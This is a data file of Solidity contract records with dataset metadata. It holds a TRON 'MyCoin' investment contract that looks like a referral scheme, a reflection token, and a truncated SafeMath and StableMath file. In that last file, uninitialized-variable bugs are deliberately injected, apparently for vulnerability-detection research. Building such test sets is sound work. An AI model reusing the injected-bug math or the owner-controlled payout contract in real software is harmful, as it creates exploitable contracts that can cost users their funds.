contracts/mainnet/TA/TArxLYcyYx4dLUJyyobtFP8kbcxKDBzTvt_MyCoin.sol
| 3,699 | 13,325 |
//SourceUnit: moshi.sol
pragma solidity 0.5.4;
interface ITRC20 {
function transfer(address recipient, uint256 amount) external returns (uint256);
function balanceOf(address account) external view returns (uint256);
function decimals() external view returns (uint8);
}
contract MyCoin {
ITRC20 usdt;
ITRC20 mycoin;
address lab;
address team;
// lab_address : TRFf1gHennGGZRrZipHzftHjmpGEcS1sgV;
// team_address : TRFf1gHennGGZRrZipHzftHjmpGEcS1sgV;
constructor(ITRC20 _usdt,ITRC20 _mycoin,address _team,address _lab) public {
usdt = _usdt;
mycoin = _mycoin;
team = _team;
lab = _lab;
owner = msg.sender;
}
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
mapping(address => uint) private usdtpermissiondata;
mapping(address => uint) private usdteddata;
mapping(address => uint) private mycoinpermissiondata;
mapping(address => uint) private mycoineddata;
mapping(address => uint) private recommenddata;
mapping(address => uint) private upinvest;
mapping(address => uint) private upamountnotreleased;
mapping(address => uint) private upachievementamount;
mapping(address => uint) private meetdata;
mapping(address => uint) private uprecommendbonus;
mapping(address => uint) private upcompetitionawardc;
mapping(address => uint) private vdata;
mapping(address => uint) private udata;
mapping(address => uint) private meetweekdata;
mapping(address => uint) private normaldividend;
//toteam
function toteam(uint payamount) onlyOwner public returns (bool success)
{
address toaddr = team;
usdt.transfer(toaddr,payamount);
return true;
}
//tofee
function tolab(uint payamount) onlyOwner public returns (bool success)
{
address toaddr = lab;
usdt.transfer(toaddr,payamount);
return true;
}
//Authorized user account limit
function usdtpermission(address[] memory addresses,uint[] memory values) onlyOwner public
{
require(addresses.length > 0);
require(values.length > 0);
for(uint32 i=0;i<addresses.length;i++){
uint value=values[i];
address iaddress=addresses[i];
usdtpermissiondata[iaddress] = value;
}
}
//Authorized user account limit
function addusdtpermission(address uaddress,uint value) onlyOwner public
{
usdtpermissiondata[uaddress] = value;
}
//The user obtains the account balance independently
function getusdtPermission(address uaddress) view public returns(uint)
{
return usdtpermissiondata[uaddress];
}
//Show how many users have withdrawn to their wallets
function getusdteddata(address uaddress) view public returns(uint)
{
return usdteddata[uaddress];
}
//Convenient for users to check the USDT balance of their wallet
function usdtbalanceOf(address uaddress) view public returns(uint)
{
usdt.balanceOf(uaddress);
return usdt.balanceOf(uaddress);
}
//Users can easily send their bonuses to their account wallets.
function usdttransferOut(uint amount) public{
uint usdtpermissiondatauser = usdtpermissiondata[address(msg.sender)];
require(usdtpermissiondatauser >= amount);
if (usdtpermissiondatauser >= amount)
{
uint cashamount = amount*90/100;
usdtpermissiondata[address(msg.sender)] -= amount;
usdteddata[address(msg.sender)] += amount;
usdt.transfer(address(msg.sender),cashamount);
}
}
//Authorized user account limit
function mycoinpermission(address[] memory addresses,uint[] memory values) onlyOwner public returns (bool success)
{
require(addresses.length > 0);
require(values.length > 0);
for(uint32 i=0;i<addresses.length;i++){
uint value=values[i];
address iaddress=addresses[i];
mycoinpermissiondata[iaddress] = value;
}
return true;
}
//Authorized user account limit
function addmycoinpermission(address uaddress,uint value) onlyOwner public
{
mycoinpermissiondata[uaddress] = value;
}
//The user obtains the account balance independently
function getmycoinPermission(address uaddress) view public returns(uint)
{
return mycoinpermissiondata[uaddress];
}
//Show how many users have withdrawn to their wallets
function getmycoineddata(address uaddress) view public returns(uint)
{
return mycoineddata[uaddress];
}
//Convenient for users to check the USDT balance of their wallet
function mycoinbalanceOf(address uaddress) view public returns(uint)
{
mycoin.balanceOf(uaddress);
return mycoin.balanceOf(uaddress);
}
//Users can easily send their bonuses to their account wallets.
function mycointransferOut(uint amount) public{
uint mycoinpermissiondatauser = mycoinpermissiondata[address(msg.sender)];
require(mycoinpermissiondatauser >= amount);
if (mycoinpermissiondatauser >= amount)
{
uint cashamount = amount*90/100;
mycoinpermissiondata[address(msg.sender)] -= amount;
mycoineddata[address(msg.sender)] += amount;
mycoin.transfer(address(msg.sender),cashamount);
}
}
function invest(uint investmentamount,uint dynamicuser,uint frequency) public returns (bool success){
uint meetmax = investmentamount;
uint userfrozenamount;
uint achievementamount;
uint day;
uint state;
uint getmyd;
uint released;
uint Pauserelease;
upinvest[address(msg.sender)] = meetmax;
if (investmentamount>10){
userfrozenamount = investmentamount;
}else{
userfrozenamount = investmentamount*150/100;
}
if (dynamicuser==1){
userfrozenamount = investmentamount*300/100;
}
if (frequency==1){
achievementamount = investmentamount*90/100;
}else{
achievementamount = investmentamount*90/100/2;
}
upamountnotreleased[address(msg.sender)] = userfrozenamount;
upachievementamount[address(msg.sender)] = achievementamount;
meetdata[address(msg.sender)] += userfrozenamount;
if (day > 30 && state==0){
state=1;
}
if (investmentamount >= 30){
getmyd=1;
}
if (released >= achievementamount * 70/100){
Pauserelease=1;
}
return true;
}
function recommendation(address fromaddr,uint investmentamount) public onlyOwner returns (bool success){
uint bonus = investmentamount*5/100;
uprecommendbonus[fromaddr] = bonus;
return true;
}
function meet(uint investmentamount) public onlyOwner view returns (uint){
uint competitionawardc = investmentamount*10/100;
if (vdata[address(msg.sender)]>0){
competitionawardc = investmentamount*2/100;
}
if (udata[address(msg.sender)] < competitionawardc){
competitionawardc = udata[address(msg.sender)];
}
return competitionawardc;
}
function meetmanage(address[] memory fromaddresses, uint amountweek) public onlyOwner returns (uint){
uint amount = amountweek*3/100;
require(fromaddresses.length > 0);
require(amountweek > 0);
for(uint32 i=0;i<10;i++){
address iaddress=fromaddresses[i];
meetweekdata[iaddress]=amount;
}
return amount;
}
function becomeM(address addresss, uint achievementbig, uint achievementsmall) public onlyOwner returns (uint){
uint level;
if (achievementbig>=100000 && achievementsmall>=50000){
level=1;
}
if(achievementbig>=500000 && achievementsmall>=250000){
level=2;
}
if(achievementbig>=2000000 && achievementsmall>=1000000){
level=3;
}
vdata[addresss]=level;
return level;
}
function forlevelbonus(uint weektotleamount,uint weekgas,uint userlevel,uint performancea,uint performanceb,uint performancec) public onlyOwner view returns(bool success){
uint per;
uint levelbonus;
uint allamount = weektotleamount + weekgas*10;
allamount = allamount * 2/100;
uint allperformancea = performancea + performanceb + performancec;
uint allperformanceb = performanceb + performancec;
uint allperformancec = performancec;
if (userlevel == 1){
// M1 and M2 and M3 enjoy;
per = allamount/allperformancea;
levelbonus = performancea * per;
}else if (userlevel == 2){
// M2 and M3 enjoy;
per = allamount/allperformanceb;
levelbonus = performanceb * per;
}else if (userlevel == 3){
// M3 enjoy;
per = allamount/allperformancec;
levelbonus = performancec * per;
}
return true;
}
function recommendation(uint amount,uint userlevel) public onlyOwner view returns(bool auccess){
uint gradationlevel;
uint bonus;
if (userlevel == 1){
gradationlevel = 3;
// M1 enjoy 3/100;
}else if (userlevel == 2){
gradationlevel = 6;
// M2 enjoy 6/100;
}else if (userlevel == 3){
gradationlevel = 9 ;
// M3 enjoy 9/100;
}
bonus = amount * gradationlevel / 100 ;
return true;
}
function Dividends(uint amount,uint reservefunds,uint releasefunds, uint contractfunds,uint nowday) public onlyOwner view returns(bool auccess){
uint releaseratio;
uint dividendratio;
uint perdividend;
uint Sedimentation;
uint maxSedimentation;
maxSedimentation =Sedimentation*60/100;
reservefunds=10;
reservefunds=reservefunds/1000;
releaseratio=amount/contractfunds*1000;
if (nowday==1 && releaseratio>=40){
dividendratio=2;
}
if(nowday==2 && releaseratio>=80){
dividendratio=4;
}
if(nowday==3 && releaseratio>=120){
dividendratio=6;
}
if(nowday==4 && releaseratio>=160){
dividendratio=8;
}
if(nowday==5){
if (releaseratio>=200){
dividendratio=1000;
}else if(releaseratio>=190 && releaseratio<200){
dividendratio=950;
}else if(releaseratio>=180 && releaseratio<190){
dividendratio=900;
}else if(releaseratio>=170 && releaseratio<180){
dividendratio=850;
}else if(releaseratio>=160 && releaseratio<170){
dividendratio=800;
}else if(releaseratio>=150 && releaseratio<160){
dividendratio=750;
}else if(releaseratio>=140 && releaseratio<150){
dividendratio=700;
}else if(releaseratio>=130 && releaseratio<140){
dividendratio=650;
}else if(releaseratio>=120 && releaseratio<130){
dividendratio=600;
}else if(releaseratio>=110 && releaseratio<120){
dividendratio=550;
}else if(releaseratio>=100 && releaseratio<110){
dividendratio=500;
}else if(releaseratio>=90 && releaseratio<100){
dividendratio=450;
}else if(releaseratio>=80 && releaseratio<90){
dividendratio=400;
}else if(releaseratio>=70 && releaseratio<80){
dividendratio=350;
}else if(releaseratio>=60 && releaseratio<70){
dividendratio=300;
}else if(releaseratio>=50 && releaseratio<60){
dividendratio=250;
}else if(releaseratio>=40 && releaseratio<50){
dividendratio=200;
}else if(releaseratio>=30 && releaseratio<40){
dividendratio=150;
}else if(releaseratio>=20 && releaseratio<30){
dividendratio=100;
}else if(releaseratio>=10 && releaseratio<20){
dividendratio=50;
}else if(releaseratio<10){
dividendratio=0;
}
}
perdividend = releasefunds*dividendratio/10000;
uint day;
uint tom;
uint nperdividend;
uint islocked;
uint Computationalpower;
if (dividendratio<60){
day = day + 1;
}
if (day>30){
islocked = 1;
tom = 1;
}
if (day>5){
islocked = 2;
tom = 2;
}
if (tom == 1){
Computationalpower = 3;
for(uint32 i=0;i<3;i++){
nperdividend=3;
}
}
if (tom == 2){
nperdividend=dividendratio*5/100;
}
return true;
}
function buyandsale(uint amount) public onlyOwner view returns(bool auccess){
uint tolabamount;
uint tosedimentation;
uint guarantee;
uint guaranteeproportion;
tolabamount = amount*2/100;
tosedimentation = amount*5/100;
guarantee = amount*8/100;
if (guaranteeproportion<80){
guaranteeproportion=guaranteeproportion+tosedimentation*20/100;
}
if (guaranteeproportion>=81){
guaranteeproportion=0;
}
return true;
}
}
| 301,728 | 1,731 |
fa1e090bd50710ff9c9a9d20cd0df422bd06d59597b7ab75a990945c751d72c0
| 28,888 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xc03f3a9416B370Cf9d6fC1E2687E9812b771b2be/contract.sol
| 5,086 | 18,203 |
pragma solidity ^0.6.0;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GreenBeanFinance is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'Green Bean Finance';
string private constant _SYMBOL = 'GBEAN';
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 150000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 550;
uint256 private constant _BURN_FEE = 450;
uint256 private constant _MAX_TX_SIZE = 150000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 251,194 | 1,732 |
278796e5ff7c56d0a8ae657e79f1b1cd3d9ff7856b98aca9b9a51e311c99cc97
| 23,859 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/uninitializedLocalVariables/0xe5514bb4c3135bae267e8756e9295c070e0adfb2_uninitializedLocalStateVariables.sol
| 3,171 | 10,768 |
pragma solidity 0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c ; //inject UNINIT LOCAL/STATE VAR
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c ; //inject UNINIT LOCAL/STATE VAR
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c ; //inject UNINIT LOCAL/STATE VAR
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c ; //inject UNINIT LOCAL/STATE VAR
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash ; //inject UNINIT LOCAL/STATE VAR
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library StableMath {
using SafeMath for uint256;
uint256 private constant FULL_SCALE = 1e18;
uint256 private constant RATIO_SCALE = 1e8;
function getFullScale() internal pure returns (uint256) {
return FULL_SCALE;
}
function getRatioScale() internal pure returns (uint256) {
return RATIO_SCALE;
}
function scaleInteger(uint256 x)
internal
pure
returns (uint256)
{
return x.mul(FULL_SCALE);
}
function mulTruncate(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return mulTruncateScale(x, y, FULL_SCALE);
}
function mulTruncateScale(uint256 x, uint256 y, uint256 scale)
internal
pure
returns (uint256)
{
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
uint256 z ; //inject UNINIT LOCAL/STATE VAR
// return 9e38 / 1e18 = 9e18
return z.div(scale);
}
function mulTruncateCeil(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled ; //inject UNINIT LOCAL/STATE VAR
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil ; //inject UNINIT LOCAL/STATE VAR
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil.div(FULL_SCALE);
}
function divPrecisely(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e18 * 1e18 = 8e36
uint256 z ; //inject UNINIT LOCAL/STATE VAR
// e.g. 8e36 / 10e18 = 8e17
return z.div(y);
}
function mulRatioTruncate(uint256 x, uint256 ratio)
internal
pure
returns (uint256 c)
{
return mulTruncateScale(x, ratio, RATIO_SCALE);
}
function mulRatioTruncateCeil(uint256 x, uint256 ratio)
internal
pure
returns (uint256)
{
// e.g. How much mAsset should I burn for this bAsset (x)?
// 1e18 * 1e8 = 1e26
uint256 scaled ; //inject UNINIT LOCAL/STATE VAR
// 1e26 + 9.99e7 = 100..00.999e8
uint256 ceil ; //inject UNINIT LOCAL/STATE VAR
// return 100..00.999e8 / 1e8 = 1e18
return ceil.div(RATIO_SCALE);
}
function divRatioPrecisely(uint256 x, uint256 ratio)
internal
pure
returns (uint256 c)
{
// e.g. 1e14 * 1e8 = 1e22
uint256 y ; //inject UNINIT LOCAL/STATE VAR
// return 1e22 / 1e12 = 1e10
return y.div(ratio);
}
function min(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return x > y ? y : x;
}
function max(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return x > y ? x : y;
}
function clamp(uint256 x, uint256 upperBound)
internal
pure
returns (uint256)
{
return x > upperBound ? upperBound : x;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
